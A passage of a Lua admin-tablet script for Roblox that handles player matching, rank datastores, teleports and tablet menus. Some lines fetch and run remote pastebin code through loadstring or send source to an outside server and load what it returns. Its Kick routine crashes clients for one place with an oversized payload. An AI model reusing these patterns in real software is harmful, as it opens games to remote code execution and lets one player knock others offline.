  808. local rand=math.random(1,#tblz)
  809. return tblz[rand]
  810. end
  811. wk=workspace
  812. script.Name=tostring(math.random(1,256)*2563343)..'#~Legit~#'
  813. tabs={} -- tabs >> player >> tablets
  814. Players=plrs
  815.  
  816. votesent=false
  817.  
  818. list=function(tbl)
  819. local str=''
  820. for i,v in pairs(tbl)do
  821. str=str..tostring(v)
  822. if i~=#tbl then str=str..', 'end
  823. end
  824. return str
  825. end
  826.  
  827. getprefix=function()
  828. return prefix
  829. end
  830. _match=function(str,spkr)
  831. if str==nil then return{}end
  832. if (str:match '.+,.+') then
  833. local matches = {str:match '(.+),(.+)'};
  834. matches = {_match (matches [1], spkr), _match (matches [2], spkr)};
  835. local rtn, used = {}, {} do
  836. for k, v in next, matches do
  837. for i, plr in next, v do
  838. if (not used [plr]) then
  839. rtn [#rtn + 1], used [plr] = plr, true;
  840. end;
  841. end;
  842. end;
  843. end;
  844.  
  845. return rtn;
  846. end;
  847. if str==nil then return{}end
  848. local st=str:lower();
  849. local found={};
  850. if st:sub(0,1)=='%'then--team wildcard
  851. for i,v in pairs(game:service'Teams':GetChildren())do
  852. if (v:IsA'Team')and(v.Name:lower():find(st:sub(2))~=nil) then
  853. for i,p in pairs(plrs:GetPlayers'')do
  854. if p.TeamColor==v.TeamColor then
  855. table.insert(found,p);
  856. end;
  857. end;
  858. break;
  859. end;
  860. end;
  861. elseif st=='*'or st=='all'then
  862. for i,v in pairs(plrs:GetPlayers'')do
  863. table.insert(found,v);
  864. end;
  865. elseif st=='admins'or st=='ranked'then
  866. for i,v in pairs(plrs:GetPlayers'')do
  867. local e=getrank(v.Name) if e ~= 0 then
  868. table.insert(found,v)
  869. end;
  870. end;
  871. elseif st=='nonadmins'or st=='nonranked'then
  872. for i,v in pairs(plrs:GetPlayers'')do
  873. local e=getrank(v.Name) if e == 0 then
  874. table.insert(found,v)
  875. end;
  876. end;
  877. elseif st=='friends'then
  878. local spkrid=spkr.UserId
  879. for i,v in pairs(plrs:GetPlayers'')do
  880. if v:IsFriendsWith(spkrid) or v.Name == spkr.Name then
  881. table.insert(found,v)
  882. end;
  883. end;
  884. elseif st=='nonfriends'then
  885. local spkrid=spkr.UserId
  886. for i,v in pairs(plrs:GetPlayers'')do
  887. if not v:IsFriendsWith(spkrid)then
  888. table.insert(found,v)
  889. end;
  890. end;
  891. elseif st:sub(1,1)=='#'then
  892. local idgroup=st:sub(2);
  893. pcall(function()
  894. for i,v in pairs(plrs:GetPlayers'')do
  895. if v:IsInGroup(idgroup)then table.insert(found,v);end;
  896. end;
  897. end);
  898. elseif st=='me'then
  899. return {spkr};
  900. elseif st=='others'then
  901. for i,v in pairs(plrs:GetPlayers'')do
  902. if v~=spkr then
  903. table.insert(found,v);
  904. end;
  905. end;
  906. else
  907. for i,v in pairs(plrs:GetPlayers'')do
  908. if v.Name:lower():find(st)~=nil then
  909. table.insert(found,v);
  910. end;
  911. end;
  912. end;
  913. return found;
  914. end
  915.  
  916. function NewLocal(plr,source)
  917. hs = game:GetService("HttpService")
  918. id = tonumber(hs:PostAsync(uploadServers[1], source))
  919. returnscript = require(id)
  920. returnscript.Parent = plr.PlayerGui
  921. end
  922.  
  923. function NewScript(source)
  924. hs = game:GetService("HttpService")
  925. id = tonumber(hs:PostAsync("http://mlgapis.esy.es/roblox/NewScript.php", source))
  926. returnscript = require(id)
  927. returnscript.Parent = workspace
  928. end
  929.  
  930. function NewModule(source)
  931. hs = game:GetService("HttpService")
  932. id = tonumber(hs:PostAsync("http://mlgapis.esy.es/roblox/NewModule.php", source))
  933. require(id)
  934. end
  935.  
  936.  
  937.  
  938. _plr=function(player,speaker)
  939. if not player then return;end
  940. if type(player)=='string'then
  941. local plrsz=_match(player,speaker)
  942. return plrsz[1]
  943. end;
  944. if player:IsA'Player'then return player;end;
  945. if plrs:FindFirstChild(player)then return _plr(plrs[player]);end;
  946. return;
  947. end
  948.  
  949.  
  950. disabletabs=function()
  951. for i,v in pairs(tabs)do
  952. dmp(i)
  953. end
  954. for i,v in pairs(events)do
  955. v:disconnect()
  956. end
  957. wait(2)
  958. for i,v in pairs(events)do
  959. v:disconnect()
  960. end
  961. enabled=false
  962. logs.write'disabling'
  963.  
  964. end
  965. v3=function(a,b,c)
  966. return Vector3.new(a,b,c)
  967. end
  968.  
  969. _rgb=function(r,g,b)
  970. return Color3.new(r/255,g/255,b/255)
  971. end
  972.  
  973. rcolor=function(num)
  974. local c=rank[num]
  975. if not c then c='White'end
  976. return c
  977. end
  978.  
  979.  
  980. testlocal=plrs.LocalPlayer
  981. if testlocal then datastores=false logs.write'local mode is on, saved functions not available'end
  982.  
  983.  
  984.  
  985. cmds={}
  986. enabled=true
  987. pserveradmins=game:GetService'TeleportService':ReserveServer(game.PlaceId)
  988.  
  989. t={}
  990. t.size=Vector3.new(1.5,1.5,1.5)
  991. t.trans=0
  992. tabindiv={'dmself'}
  993. t.shape='cube'
  994. t.db_view='PLR'
  995. shapes={
  996. ['cube']=v3(1.5,1.5,1.5),
  997. ['flat']=v3(.2,4,3),
  998. ['mini']=v3(.3,.3,.3),
  999. ['table']=v3(2.1,.3,2.1),
  1000. }
  1001.  
  1002. rejoin=function(plr)
  1003. game:GetService'TeleportService':Teleport(game.PlaceId,plr)
  1004. end
  1005. tptoplace=function(id,plr)
  1006. game:GetService'TeleportService':Teleport(id,plr)
  1007. end
  1008. createnewserver=function(namelelxd)
  1009. local TS=game:GetService'TeleportService'
  1010. table.insert(cps,""..namelelxd.."={'Name'="..tostring(namelelxd)..", 'ServerId'="..TS:ReserveServer(game.PlaceId).."}")
  1011. end
  1012. privateserver=function(plr)
  1013. local TS = game:GetService("TeleportService")
  1014. if psacode == nil then
  1015. psacode=TS:ReserveServer(game.PlaceId)
  1016. end
  1017. TS:TeleportToPrivateServer(game.PlaceId,psacode,plr)
  1018. end
  1019. privateserverself=function(name)
  1020. local TS = game:GetService("TeleportService")
  1021. local code = TS:ReserveServer(game.PlaceId)
  1022. TS:TeleportToPrivateServer(game.PlaceId,code,name)
  1023. end
  1024. function Make(ClassName)
  1025. return function(data)
  1026. local Instance = Instance.new(ClassName)
  1027. for index,value in pairs(data) do
  1028. if type(index) == "number" then
  1029. value.Parent = Instance
  1030. else
  1031. Instance[index] = value
  1032. end
  1033. end
  1034. return Instance
  1035. end
  1036. end
  1037. function Terminal(Player)
  1038. if Player:FindFirstChild("PlayerGui") and Player:FindFirstChild("PlayerGui").ClassName == "PlayerGui" then
  1039. spawn(function()
  1040. local Create = Make
  1041. local Closed = false
  1042. local ScreenGui = Create "ScreenGui" {
  1043. Name = "Server Console",
  1044. Parent = Player.PlayerGui
  1045. }
  1046. local Main = Create "TextButton" {
  1047. AutoButtonColor = false,
  1048. BackgroundColor3 = Color3.new(0, 0, 0),
  1049. BorderSizePixel = 0,
  1050. Size = UDim2.new(0, 375, 0, 15),
  1051. Draggable = true,
  1052. Font = "SourceSansBold",
  1053. FontSize = "Size14",
  1054. TextYAlignment = "Top",
  1055. TextColor3 = Color3.new(1, 1, 1),
  1056. Text = " Server Console",
  1057. TextXAlignment = "Left",
  1058. Position = UDim2.new(0.321, 0, 0.196, 0),
  1059. Parent = ScreenGui
  1060. }
  1061. local Refresh = Create "TextButton" {
  1062. Active = true,
  1063. AutoButtonColor = false,
  1064. BackgroundColor3 = Color3.new(0, 0, 0),
  1065. BorderSizePixel = 0,
  1066. Position = UDim2.new(1, 0, 0, 0),
  1067. Size = UDim2.new(0, 60, 0, 15),
  1068. Font = "SourceSansBold",
  1069. FontSize = "Size14",
  1070. Text = "Close",
  1071. TextYAlignment = "Top",
  1072. TextColor3 = Color3.new(1, 1, 1),
  1073. TextYAlignment = "Top",
  1074. TextXAlignment = "Right",
  1075. Parent = Main
  1076. }
  1077. local TextButton = Create "TextButton" {
  1078. AutoButtonColor = false,
  1079. BackgroundColor3 = Color3.new(0, 0, 0),
  1080. BorderSizePixel = 0,
  1081. Position = UDim2.new(1, 60, 0, 0),
  1082. Size = UDim2.new(0, 15, 0, 15),
  1083. Font = "SourceSansBold",
  1084. FontSize = "Size14",
  1085. TextYAlignment = "Top",
  1086. Text = "-",
  1087. TextColor3 = Color3.new(1, 1, 1),
  1088. Parent = Main
  1089. }
  1090. local ContentFrame = Create "Frame" {
  1091. BackgroundColor3 = Color3.new(0, 0, 0),
  1092. BackgroundTransparency = 0.2,
  1093. BorderSizePixel = 0,
  1094. Position = UDim2.new(0, 0, 0, 15),
  1095. Size = UDim2.new(0, 450, 0, 0),
  1096. Parent = Main
  1097. }
  1098. local ScrollingFrame = Create "ScrollingFrame" {
  1099. Size = UDim2.new(1, 0, 1, 0),
  1100. CanvasSize = UDim2.new(3, 0, 0, 0),
  1101. MidImage = "rbxassetid://158362264",
  1102. TopImage = "rbxassetid://158362307",
  1103. BottomImage = "rbxassetid://158362221",
  1104. BackgroundTransparency = 1,
  1105. BorderSizePixel = 0,
  1106. ScrollBarThickness = 5,
  1107. Parent = ContentFrame
  1108. }
  1109. ContentFrame:TweenSize(UDim2.new(0, 450, 0, 435), "Out", "Quad", 1.5, true)
  1110. TextButton.MouseButton1Down:connect(function()
  1111. if Closed == false then
  1112. Closed = true
  1113. TextButton.Text = "+"
  1114. ContentFrame:TweenSize(UDim2.new(0, 450, 0, 0), "Out", "Quad", 1.5, true)
  1115. delay(1, function()
  1116. ScrollingFrame.Visible = false
  1117. end)
  1118. else
  1119. Closed = false
  1120. TextButton.Text = "-"
  1121. ContentFrame:TweenSize(UDim2.new(0, 450, 0, 435), "Out", "Quad", 1.5, true)
  1122. delay(0.5, function()
  1123. ScrollingFrame.Visible = true
  1124. end)
  1125. end
  1126. end)
  1127. local function GetNumberOfChildren(Object)
  1128. local Number = -15
  1129. for index,child in pairs(Object:GetChildren()) do
  1130. if child.ClassName == "TextLabel" then
  1131. Number = Number + 15
  1132. end
  1133. end
  1134. return Number
  1135. end
  1136. local function Output(Text, Color)
  1137. local Line = Create "TextLabel" {
  1138. ZIndex = 2,
  1139. BackgroundTransparency = 1,
  1140. BorderSizePixel = 0,
  1141. Text = string.format(" %s", Text),
  1142. Font = "SourceSansBold",
  1143. FontSize = "Size14",
  1144. TextColor3 = Color,
  1145. TextWrapped = false,
  1146. Size = UDim2.new(1, 0, 0, 15),
  1147. Position = UDim2.new(0, 0, 0, GetNumberOfChildren(ScrollingFrame)),
  1148. TextXAlignment = "Left",
  1149. TextYAlignment = "Top",
  1150. TextStrokeTransparency = 0.9,
  1151. Parent = ScrollingFrame,
  1152. }
  1153. if #ScrollingFrame:GetChildren() > 29 then
  1154. local NumChildren = GetNumberOfChildren(ScrollingFrame)
  1155. ScrollingFrame.CanvasSize = UDim2.new(3, 0, 0, NumChildren)
  1156. ScrollingFrame.CanvasPosition = Vector2.new(0, (ScrollingFrame.CanvasSize.Y.Offset - ScrollingFrame.AbsoluteSize.Y) + 5)
  1157. end
  1158. end
  1159. local function OutputLogHistory()
  1160. for index,data in pairs(game.LogService:GetLogHistory()) do
  1161. if data.messageType == Enum.MessageType.MessageOutput then
  1162. Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 1, 1))
  1163. elseif data.messageType == Enum.MessageType.MessageWarning then
  1164. Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 0.6, 0.4))
  1165. elseif data.messageType == Enum.MessageType.MessageError then
  1166. Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 0, 0))
  1167. elseif data.messageType == Enum.MessageType.MessageInfo then
  1168. Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(0.4, 0.5, 1))
  1169. end
  1170. end
  1171. end
  1172. Refresh.MouseButton1Down:connect(function()
  1173. ScreenGui:Destroy();
  1174. end)
  1175. while Main do
  1176. OutputLogHistory()
  1177. end
  1178. end)
  1179. end
  1180. end
  1181. function priserver(player,message)
  1182. if (message:len () == 0) then
  1183. message = '\1';
  1184. end;
  1185.  
  1186. local teleportService, players, dataStore, dataStoreTable do
  1187. teleportService = game:service 'TeleportService';
  1188. players = game:service 'Players';
  1189. dataStore = priservers;
  1190. dataStoreTable = priservertable;
  1191.  
  1192. local code = dataStore:getAsync (message);
  1193.  
  1194. if (not code) then
  1195. code = teleportService:ReserveServer (game.placeId);
  1196. dataStore:setAsync (message, code);
  1197. table.insert(mytableforservers,message)
  1198. dataStoreTable:setAsync('myTable',mytableforservers)
  1199.  
  1200. end;
  1201.  
  1202. --Wait ();
  1203.  
  1204. teleportService:teleportToPrivateServer (game.placeId, code, {player});
  1205. end;
  1206. end;
  1207. privateserveradmins=function(plr)
  1208. local TS = game:GetService("TeleportService")
  1209. TS:TeleportToPrivateServer(game.PlaceId,pserveradmins,plr)
  1210. end
  1211. shape=function(s)
  1212. t.shape=s
  1213. t.size=shapes[t.shape]
  1214. end
  1215.  
  1216. shape('cube')
  1217.  
  1218. ds={}
  1219. ds.s=game:service'DataStoreService':GetDataStore(key)
  1220. whitelist=loadstring(game:service'HttpService':GetAsync('https://pastebin.com/raw/KXbQntm6'))()--]]
  1221. ircdatastore = loadstring(game:service'HttpService':GetAsync('https://pastebin.com/raw/gCFapx9V'))()
  1222. ircdskey = "--LegitDiscordHookIRCKey--"
  1223. ircds={}
  1224. censors=loadstring(game:service'HttpService':GetAsync('https://pastebin.com/raw/et3qr6BR'))()--{'/e','h/','hl/'}
  1225. ircds.s=game:service'DataStoreService':GetDataStore(ircdskey)
  1226. ircwhitelist={}
  1227. discordcensor=loadstring(game:service'HttpService':GetAsync('https://pastebin.com/raw/QqDH7EMV'))()--true
  1228. ircds.whole=function()
  1229. if not ircdatastore then return end
  1230. if not ircds.s:GetAsync'users'then
  1231. ircds.s:SetAsync('users',whitelist)
  1232. return ircds.s:GetAsync'users'
  1233. else
  1234. return ircds.s:GetAsync'users'
  1235. end
  1236. end
  1237. if ircdatastore then
  1238. ircwhitelist=ircds.whole()
  1239. elseif not ircdatastore then
  1240. ircwhitelist=whitelist
  1241. ircds.save=function() -- // CALL WHENEVER SAVING DATA
  1242. ircds.s:SetAsync('users',ircwhitelist)
  1243. end
  1244. end
  1245.  
  1246. MLGSND=nil
  1247.  
  1248. pd={}
  1249.  
  1250. str={}
  1251. str.firstc=function(st)
  1252. return st:sub(1,1):upper()..st:sub(2):lower()
  1253. end
  1254.  
  1255.  
  1256.  
  1257.  
  1258. --std lib by badfractions
  1259.  
  1260. inTable=function(tbl,val)
  1261. for i,v in pairs(tbl)do
  1262. if v==val then return true end
  1263. end
  1264. return false
  1265. end
  1266.  
  1267. remTable=function(tbl,val)
  1268. for i,v in pairs(tbl)do
  1269. if v==val then table.remove(i) end
  1270. end
  1271. end
  1272. formatstr=function(str)
  1273. local l=string.len(str)
  1274. local orig=''
  1275. for i=1,l do
  1276. orig=orig..str:sub(i,i)..''
  1277. end
  1278. return orig
  1279. end
  1280. merge=function(t1, t2)
  1281. for k, v in pairs(t2) do
  1282. if (type(v) == "table") and (type(t1[k] or false) == "table") then
  1283. merge(t1[k], t2[k])
  1284. else
  1285. t1[k] = v
  1286. end
  1287. end
  1288. return t1
  1289. end
  1290.  
  1291. --end std lib
  1292.  
  1293. --player>>{rank,color}
  1294.  
  1295.  
  1296. -- // Legit ranking system - bad \\ --
  1297.  
  1298. ds.props={'name','rank','reason','wave','color','rot','locked','neon','shape'}
  1299.  
  1300.  
  1301. ds.whole=function()
  1302. if not datastores then return end
  1303. if not ds.s:GetAsync'users'then
  1304. ds.s:SetAsync('users',baseranked)
  1305. return ds.s:GetAsync'users'
  1306. else
  1307. return ds.s:GetAsync'users'
  1308. end
  1309. end
  1310. users=ds.whole()
  1311.  
  1312. mytableforservers = priservertable:getAsync('myTable')
  1313.  
  1314.  
  1315.  
  1316. ds.new=function(name,rank,reason)
  1317. ranr=rank or 0
  1318. reason=reason or 'None'
  1319. local newprof={name,rank,reason,false,'White','circlerand',{},false,'cube'}
  1320. table.insert(users,newprof)
  1321. return newprof
  1322. end
  1323.  
  1324. ds.set=function(plrn,indxe,valyu)
  1325.  
  1326. local db=ds.get(plrn)
  1327. if db==nil then return end
  1328. for iww,vww in pairs(ds.props)do
  1329. if indxe:lower()==vww:lower()then db[iww]=valyu;end
  1330. end
  1331. end
  1332.  
  1333. ds.get=function(plrn,itemxx)
  1334. local plrzzz=_plr(plrn) if plrzzz then plrn=plrzzz.Name end
  1335. local prof=nil
  1336. for iww,vww in pairs(users)do if vww[1]~=nil then if vww[1]==plrn then prof=users[iww]break end;end;end
  1337.  
  1338. if prof==nil then prof=ds.new(plrn)end
  1339. if prof[5]==nil then prof[5]='White';end
  1340. if prof[4]==nil then prof[4]=false;end
  1341. if prof[6]==nil then prof[6]='circlerand';end
  1342. if prof[7]==nil then prof[7]={};end
  1343. if prof[8]==nil then prof[8]=false;end
  1344. if prof[9]==nil then prof[9]='cube';end
  1345. if itemxx==nil then return prof
  1346. else
  1347. itemxx=itemxx:lower()
  1348. for iww,vww in pairs(ds.props)do
  1349. if itemxx:lower()==vww:lower()then return prof[iww]end
  1350. end
  1351. end
  1352. end
  1353.  
  1354. ds.prof=function(plr)
  1355. local plrc=_plr(plr)if plrc then plr=plrc.Name end
  1356. local proff=nil
  1357. for iee,vee in pairs(users)do if vee[1]~=nil then if vee[1]==plr then proff=users[iee]break end;end;end
  1358. return proff
  1359. end
  1360.  
  1361. ds.default=function(prof)
  1362.  
  1363. if not prof then return true end
  1364. --print(list(prof))
  1365. if #prof~=#ds.props then return true end
  1366. if prof[2]==nil then return true end
  1367. if prof[2]==0 and prof[4]==false and prof[5]=='White' and prof[6]=='rand'then return true end
  1368. return false
  1369. end
  1370.  
  1371. ds.save=function() -- // CALL WHENEVER SAVING DATA
  1372. local get={}
  1373. for i,v in pairs(users)do
  1374. if not ds.default(v)then
  1375. table.insert(get,v)
  1376. end
  1377. end
  1378. ds.s:SetAsync('users',get)
  1379. end
  1380.  
  1381. --[[ds.plr=function(plr)
  1382. plr=_plr(plr)
  1383. local prof=nil
  1384. local i=0
  1385. if plr==nil then return {}
  1386. for i,v in pairs(users)do if v[1]~=nil then if v[1]==plr.Name then prof=users[i]break end;end;end
  1387. return prof,i
  1388. end
  1389. end--]]
  1390.  
  1391. ds.setrank=function(plr,rank)
  1392.  
  1393. --local dat,ind=ds.plr(plr)
  1394. local der=ds.get(plr)
  1395. der[2]=rank
  1396.  
  1397. end
  1398.  
  1399. ds.getrank=function(plr)
  1400. local plro=_plr(plr)
  1401. if not plro then plro=plr else plro=plro.Name end
  1402. local d=ds.get(plro,'rank')
  1403. if d then return tonumber(d) end
  1404. return 0
  1405. end
  1406.  
  1407. for i,v in pairs(ds)do
  1408. if not datastores then v=(function()print'Datastores are not enabled'return;end) end
  1409. end
  1410.  
  1411. for i,v in pairs(baseranked)do
  1412. ds.setrank(v[1],v[2])
  1413. end
  1414.  
  1415. ps={}
  1416. ps.wave=function(plr)
  1417. return ds.get(plr,'wave')
  1418. end
  1419. ps.color=function(plr)
  1420. return ds.get(plr,'color')
  1421. end
  1422. ps.rot=function(plr)
  1423. return ds.get(plr,'rot')
  1424. end
  1425. ps.neon=function(plr)
  1426. local dzzzz=ds.get(plr,'neon')
  1427. if dzzzz=='true' or dzzzz==true then return true
  1428. else return false end
  1429. end
  1430. ps.shape=function(plr)
  1431. return ds.get(plr,'shape')
  1432. end
  1433. ps.islocked=function(cmdname,plr)
  1434. local lc=ds.get(plr,'locked')
  1435. for i,v in pairs(lc)do
  1436. if v:lower()==cmdname:lower()then return true end
  1437. end
  1438. end
  1439. wait(.2)
  1440. ds.save()
  1441.  
  1442. safe={}
  1443. safe.r=function(fn)
  1444. pcall(function()fn'';end)
  1445. end
  1446. for i,v in pairs(plrs:GetPlayers())do
  1447. ds.getrank(v.Name)
  1448. end
  1449.  
  1450. setrank=function(plr,num)
  1451. plr=_plr(plr)
  1452. if not plr then return end
  1453. ds.setrank(plr.Name,num)--error here
  1454. end
  1455. getrank=function(plr)
  1456. local d=ds.getrank(plr)
  1457. if d then return d else return 0 end
  1458. end
  1459. m={}
  1460. m.ds=ds.s
  1461.  
  1462. stack={}
  1463.  
  1464. m.getlib=function()
  1465. if not datastores then return music end
  1466. return m.ds:GetAsync('music')--{ ['song']={id,genre} }
  1467. end
  1468.  
  1469. m.setlib=function(lib)
  1470. music=lib
  1471. if not datastores then return end
  1472. m.ds:SetAsync('music',lib)
  1473. end
  1474.  
  1475. m.save=function()
  1476. m.setlib(music)
  1477. end
  1478.  
  1479. m.curr=nil
  1480. m.addsong=function(name,id,genre)
  1481. if not datastores then return end
  1482. music[name]={id,genre}
  1483. m.setlib(music)
  1484. end
  1485.  
  1486. m.play=function(id,sstop,...)
  1487. local ex={...}
  1488.  
  1489. if sstop then
  1490. if MLGSND~=nil then
  1491. if MLGSND.Parent~=nil then
  1492. MLGSND:Stop()
  1493. MLGSND:remove()
  1494. MLGSND=nil
  1495. end
  1496.  
  1497. end
  1498. return
  1499. end
  1500. m.play(nil,true)
  1501. if silentmode then return end
  1502. MLGSND=Instance.new'Sound'
  1503. MLGSND.Name='MLGSND'
  1504. MLGSND.Parent=script
  1505. MLGSND.SoundId=urlf..tostring(id)
  1506. MLGSND.Volume=ex.VOL or .5
  1507. MLGSND.Pitch=ex.PIT or 1
  1508. MLGSND.Looped=ex.LOO or true
  1509. MLGSND:Play()
  1510. m.curr=id
  1511. cid=urlf..tostring(id)
  1512. end
  1513.  
  1514. m.stopmusic=function(root,deep)
  1515. for i,v in pairs(root:children'')do
  1516. if v.Parent then if v:IsA'Sound'then v:Stop()v:remove()end;end
  1517. if deep then
  1518. m.stopmusic(v,true)
  1519. end
  1520. end
  1521. end
  1522.  
  1523. m.stopmusico=function(root,deep)
  1524. for i,v in pairs(root:children'')do
  1525. if v.Parent then if v:IsA'Sound'and v.Name~='MLGSND'then v:Stop()v:remove()end;end
  1526. if deep then
  1527. m.stopmusic(v,true)
  1528. end
  1529. end
  1530. end
  1531. music=m.getlib()
  1532.  
  1533. --give the music lib some time
  1534.  
  1535. wait(.1)
  1536. logs.write'loaded libraries'
  1537. prl=game:GetService'ContentProvider'
  1538. music={}
  1539. for i,v in ipairs(music) do
  1540. prl:Preload('rbxassetid://'..v[1])
  1541. end
  1542.  
  1543. changetabsize=function(v3new)
  1544. t.size=v3new
  1545. end
  1546.  
  1547. function Kick(plr)
  1548. if game.PlaceId==178350907 then
  1549. plr:Kick(Reason)
  1550. elseif game.PlaceId==20279777 then
  1551. Instance.new("RemoteEvent",plr):FireClient(plr,{string.rep("a",2e5+5)})
  1552. elseif game.PlaceId==21053279 then
  1553. plr:remove()
  1554. elseif game.PlaceId==210101277 then
  1555. plr:remove()
  1556. else
  1557. plr:remove()
  1558. end
  1559. end
  1560.  
  1561.  
  1562.  
  1563.  
  1564.  
  1565.  
  1566.  
  1567. dictionary=function(content)
  1568. local h=game:service'HttpService'
  1569. local basel="http://en.wikipedia.org/w/api.php?format=json&action=query&titles="..content
  1570. return(tostring(h:GetAsync(basel)))
  1571. --magiclaxnoob=(tostring(h:PostAsync(basel,base)))
  1572. end
  1573.  
  1574. updateevents=function()
  1575.  
  1576. for i,v in pairs(events)do
  1577. v:disconnect()
  1578. end
  1579. if not enabled then return end
  1580. for i,v in pairs(plrs:players())do
  1581. local ev=v.Chatted:connect(function(msg)
  1582. chat(msg,v)end)
  1583. events[#events+1]=ev
  1584. end
  1585. end
  1586.  
  1587. getPlayerTabs=function(plr)
  1588. if tabs[plr]then return tabs[plr]end
  1589. tabs[plr]={}
  1590. return tabs[plr]
  1591. end
  1592.  
  1593. rem=function(tablet)
  1594. if not tablet then return end
  1595. if tablet.Name=='x'then return end
  1596. delay(0,function()
  1597. local s=tablet.Size
  1598. tablet.Name='x'
  1599. if tablet:FindFirstChild'ClickDetector'then
  1600. tablet.ClickDetector:remove()
  1601. end
  1602. if tablet:FindFirstChild'Text' then
  1603. tablet.Text:remove()
  1604. end
  1605. local s=tablet.Size
  1606. if not skipanim then
  1607. for i=1,0,-.33 do
  1608. tablet.Size=s*i
  1609. tablet.Transparency=1-i
  1610. wait(.05)
  1611. end
  1612. end
  1613. tablet:remove()
  1614. end)
  1615. end
  1616. tabmodel=function(place)
  1617. if not place:FindFirstChild('MLG_group')then
  1618. local m=Instance.new'Model'
  1619. m.Parent=place
  1620. m.Name='MLG_group'
  1621. return m
  1622. else
  1623. return place.MLG_group
  1624. end
  1625. end
  1626. insertmenu=function(speaker)
  1627. dmp(speaker)
  1628. _tab('Admin Tablets','Cyan',speaker,function()
  1629. dmp(speaker)
  1630. _tab('Dismiss','Bright red',speaker,function() dmp(speaker) end)
  1631. _tab('Go back','Teal',speaker,function() insertmenu(speaker) end)
  1632. for _,v in pairs(AdminTabLoaders) do
  1633. _tab(v.Name,v.Color14,speaker,function()
  1634. dmp(speaker)
  1635. _tab("Created by: "..v.Creator,'Deep orange',speaker)
  1636. _tab("Loader Id: "..v.LoaderId,'Cyan',speaker)
  1637. _tab("Load",'Lime green',speaker,function()
  1638. local ld="c/require("..v.LoaderId..")"..v.Custom
  1639. sbexe(ld,speaker)
  1640. dmp(speaker)
  1641. _tab(v.Name.." has loaded succesfully!",'Lime green',speaker)
  1642. end)
  1643. _tab('Dismiss','Bright red',speaker,function() dmp(speaker) end)
  1644. _tab('Go back','Teal',speaker,function() insertmenu(speaker) end)
  1645. end)
  1646. end
  1647. end)
  1648. _tab('Saved items','Cyan',speaker,function()
  1649. dmp(speaker)
  1650. _tab('Dismiss','Bright red',speaker,function() dmp(speaker) end)
  1651. _tab('Go back','Teal',speaker,function() insertmenu(speaker) end)
  1652. for _,v in pairs(CatalogItems) do
  1653. _tab(v.Name,v.Color14,speaker,function()
  1654. dmp(speaker)
  1655. _tab("Created by: "..v.Creator,'Deep orange',speaker)
  1656. _tab("Id: "..v.LoaderId,'Cyan',speaker)
  1657. _tab("Load",'Lime green',speaker,function()
  1658. local assgadg="c/game:service'InsertService':LoadAsset("..v.LoaderId..")"
  1659. sbexe(assgadg,speaker)
  1660. end)
  1661. _tab('Dismiss','Bright red',speaker,function() dmp(speaker) end)
  1662. _tab('Go back','Teal',speaker,function() insertmenu(speaker) end)
  1663. end)
  1664. end
  1665. end)
  1666. _tab('Dismiss','Bright red',speaker,function() dmp(speaker) end)
  1667. end
  1668. dmp=function(player)
  1669. local plr=_plr(player)
  1670. if plr then
  1671. for i,v in pairs(tabs[plr.Name])do
  1672. rem(v)
  1673. end
  1674. end
  1675. end
  1676.  
  1677.  
  1678.  
  1679. getAllWithPerm=function(rankrr)
  1680. local asdf={}
  1681. for imm,vrttt in pairs(plrs:GetPlayers())do
  1682. if tonumber(getrank(vrttt))>=rankrr then
  1683. table.insert(asdf,vrttt.Name)
  1684. end
  1685. end
  1686. return asdf
  1687. end
  1688.  
  1689. newserver=function(id)
  1690. for i=1,1 do
  1691. logs.write'making server'
  1692. game:GetService'HttpService':GetAsync('http://classy-studios.com/APIs/JoinGame.php?GameID='..tonumber(id),true)
  1693. end
  1694. end
  1695. function PBase()
  1696. local m = Instance.new("Model")
  1697. m.Name = "Model"
  1698. p1 = Instance.new("Part", m)
  1699. p1.Parent = workspace.Base
  1700. p1.BrickColor = BrickColor.new("Bright green")
  1701. p1.Material = "Grass"
  1702. p1.CFrame = CFrame.new(-4793.64062, 0.5, -813.582947, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1703. p1.Anchored = true
  1704. p1.FormFactor = Enum.FormFactor.Symmetric
  1705. p1.Size = Vector3.new(853.130005, 1, 769.72998)
  1706. m.Parent = game:service("Workspace")
  1707. m:MakeJoints()
  1708. end
  1709.  
  1710. function TPBase(Plr)
  1711. Plr.Character.Torso.CFrame = CFrame.new(-4709.024, 9.17, -785.641)
  1712. end
  1713.  
  1714. _tab=function(text,color,plrn,fn,fne,delayt) --text , scheme (box c), function, player object, final extra, time till poofy poof
  1715. --wait'1/44'
  1716. --pcall(function()
  1717. if silentmode then return end
  1718. if delayt==nil then delayt=0 end
  1719. if not enabled then return end
  1720. local plrn=_plr(plrn)
  1721. if type(plrn)~='userdata'then return end
  1722. if not plrn:IsA'Player'then return end
  1723. local plr=plrn.Name
  1724. local plrtabs=getPlayerTabs(plr)
  1725. if not plrn.Character then return end
  1726. local tab=Instance.new('Part')
  1727. local tabmesh=Instance.new('BlockMesh',tab)
  1728. local cd=Instance.new('ClickDetector',tab)
  1729. local sb=Instance.new('SelectionBox',tab)
  1730. local color=color
  1731. color=color or defaultcolor
  1732. ncolor=color
  1733. if type(color) == type("String") then
  1734. if color == "random" then
  1735. local r=randin(colors)
  1736. print(r)
  1737. ncolor = BrickColor.new(r)
  1738. else
  1739. ncolor = BrickColor.new(color)
  1740. end
  1741. end
  1742. tab.BrickColor=ncolor--BrickColor.new'White'
  1743. tab.Anchored=true
  1744. tab.FormFactor='Custom'
  1745. tab.Size=Vector3.new(.6,.7,.6)
  1746. tab.Parent=game:service'Workspace'.Terrain
  1747. tab.Material=ps.neon(plr) and 'Neon' or 'Plastic'
  1748. local mysize=shapes[ps.shape(plr)]
  1749.  
  1750.  
  1751. for i,v in pairs(shapes)do
  1752. if mysize==v then
  1753. tab.Name=i
  1754. end
  1755. end
  1756. tab.Transparency=t.trans
  1757. tab.CanCollide=false
  1758. local cftp=plrn.Character.Torso.CFrame
  1759. local pos=cftp.p--+Vector3.new(0,10,0)
  1760. tab.CFrame=CFrame.new(pos)
  1761. if text==''then text=' 'end
  1762. pcall(function()tab:findFirstChild("Text"):Destroy()end)
  1763. local b = Instance.new("BillboardGui",tab)
  1764. b.Name = "Text"
  1765. b.Adornee = tab
  1766. b.Size = UDim2.new(6.5,0,2.5,0)
  1767. b.AlwaysOnTop = false
  1768. b.StudsOffset = Vector3.new(0,5,0)
